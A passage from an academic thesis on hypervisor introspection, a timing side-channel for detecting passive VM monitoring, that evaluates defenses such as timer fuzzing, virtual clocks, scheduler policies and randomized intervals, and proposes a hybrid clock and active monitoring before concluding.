has looked at mitigating VM timing side-channels by reducing the granular-
ity of time sources. Most work has looked at cross-VM timing side-channels,
but we discuss some work that we found relevant to HI.
6.1.1 Reducing Granularity of Timers
There is previous work [18] exploring the possibility of fuzzing timers in
VMs to reduce the granularity of measurements. In this work, the Xen
hypervisor was modified to perturb the value obtained from the x86 RDTSC
instruction by rounding it off by 4096 cycles. The RDTSC instruction returns
the value of the time stamp counter (TSC) register, which counts the number
of cycles since system reset. Because the RDTSC instruction is commonly used
to obtain high-resolution timestamps, side-channel attacks may not work
when the instruction output is fuzzed. Additionally, modifying the RDTSC
instruction cascaded into modifying the timestamps obtained from timing
system calls such as gettimeofday or clock gettime.
Although modifying the RDTSC instruction changes the time values needed
for HI, the perturbation only causes a 2µs change in the true RDTSC value.
A perturbation this small would not affect the measurements needed for HI
because HI only needs measurements on the order of several milliseconds.
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6.1.2 Virtual Clocks
Other work looked at replacing the real time clock of VMs with a virtual
clock. Because the virtual clock does not reflect real time, events could be
hidden by skewing the virtual clock. StopWatch [19] was a system designed
to hinder timing side-channels in co-resident VMs using these virtual clocks.
The system uses the virtual clocks to introduce some noise into the timing
of I/O events to prevent information leakage. Each virtual clock is a de-
terministic function that takes in the number of instructions executed on a
VM and outputs a “virtual” time in the VM. The virtual clock can also be
loosely synchronized with real time by skewing itself closer to real time after
“epochs” of execution. In addition to having VMs use virtual clocks, the
VMs were also triplicated, and the median event time across the triplicated
VMs was used for all VMs to introduce noise for when I/O events occurred.
With regards to HI, the virtual clock used in StopWatch could poten-
tially prevent in-VM timing measurements. Because the virtual clock only
depends on the number of instructions executed, it should hide the VM
suspend time pause when an attacker performs some kind of timing mea-
surement. Applications with real time requirements cannot use this virtual
clock, so VMs hosting those applications would still be susceptible to HI.
Additionally, StopWatch has a worst-case performance overhead of 2.8x for
workloads that require heavy network usage. Thus, StopWatch may prevent
the use of the network as a side-channel (described in section 4.3), but it
does so at a large performance loss.
6.2 Scheduler-based Defenses
In addition to changing the granularity of timers in a VM, recent work [20] has
explored using scheduler policy to hinder cache-based side-channel attacks.
By requiring processes to execute for a minimum run time without being pre-
empted, an attacker’s observations of a victim’s use of CPU resources would
have less granularity. Enforcing a minimum run time for scheduling policy,
however, can adversely affect performance because CPU-intensive workloads
would have to compete with less intensive workloads.
A scheduler-based defense could prevent part of our HI technique. If the
minimum run time is greater than the VM suspend threshold, then we can-
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not use process scheduling as a “frequent event” for detecting VM suspends.
However, there are many other kernel functions we could time such as disk
I/O (which we already use through sys read), network operations, and
memory management (allocation and deallocation). An attacker could also
spawn many processes that utilize the functions we want to observe to artifi-
cially increase the frequency of these function calls to improve the granularity
of the attacker’s measurements. Thus, modifying the scheduler policy may
hinder HI, but it does not completely prevent it.
6.3 Randomized Monitoring Interval
Because HI targets regularly occurring intervals, it would be expected that
randomized intervals would prevent HI from working against a passive VMI
system. However, using a randomized monitoring interval only hinders the
utilization of HI. Even random intervals have some lower bound on the du-
ration between monitoring checks, so a patient attacker could utilize HI to
determine a lower bound on monitoring checks before mounting any attack
against the system. Thus, the randomized monitoring checks forces the at-
tacker to be inefficient, but it does not prevent the attacker from evading the
passive VMI system.
6.4 Proposed Defenses Against Hypervisor
Introspection
A virtual clock similar to the one implemented in [19] would work best to
prevent measuring VM suspends for HI. The virtual clock in [19] skews all the
times during a VM’s operation, which is typically unacceptable for systems
with real time requirements. Thus, a real-virtual hybrid clock could provide
the benefits of skewing the clock after a VM suspend, but otherwise provide
the real time during normal operation. This could be achieved by changing
the clock function in the hypervisor after a VM Entry occurs. The virtual
clock function would scale the real time back to close the time gap introduced
by the VM suspend before changing the clock function back to a real time
clock. By using this hybrid clock, there would be no large gaps in the times
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due to VM suspends, and the clock would be near real time.
Instead of trying to hide a passive VMI system, one could also switch to
using an active VMI system. Because an active VMI system only performs a
monitoring check on certain events, HI would have to trigger those events and
look for VM suspends. Triggering the VMI event would be difficult because
there are so many events that used to trigger an active VMI system.
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Chapter 7
Conclusion
This thesis presented hypervisor introspection, a technique to detect and
evade passive VMI monitoring. We demonstrated that hypervisor activity is
not perfectly isolated from a guest VM. Additionally, we demonstrated two
realistic attacks in an insider threat attack model that leverage HI to evade
a realistic, passive VMI monitor. This work may be extended in the future
to explore the use of the network as a side-channel to aid HI, or improved
by developing a method of determining thresholds for in-VM measurements
without empirical testing. In developing HI, we propose that passive moni-
toring has some inherent weaknesses that could be avoided by using active
monitoring techniques as described in section 2.2.3 and demonstrated by [15].
Thus, future research should continue to focus on the development of VMI
security monitors that do not passively poll state information, and instead
respond to specific hardware events.
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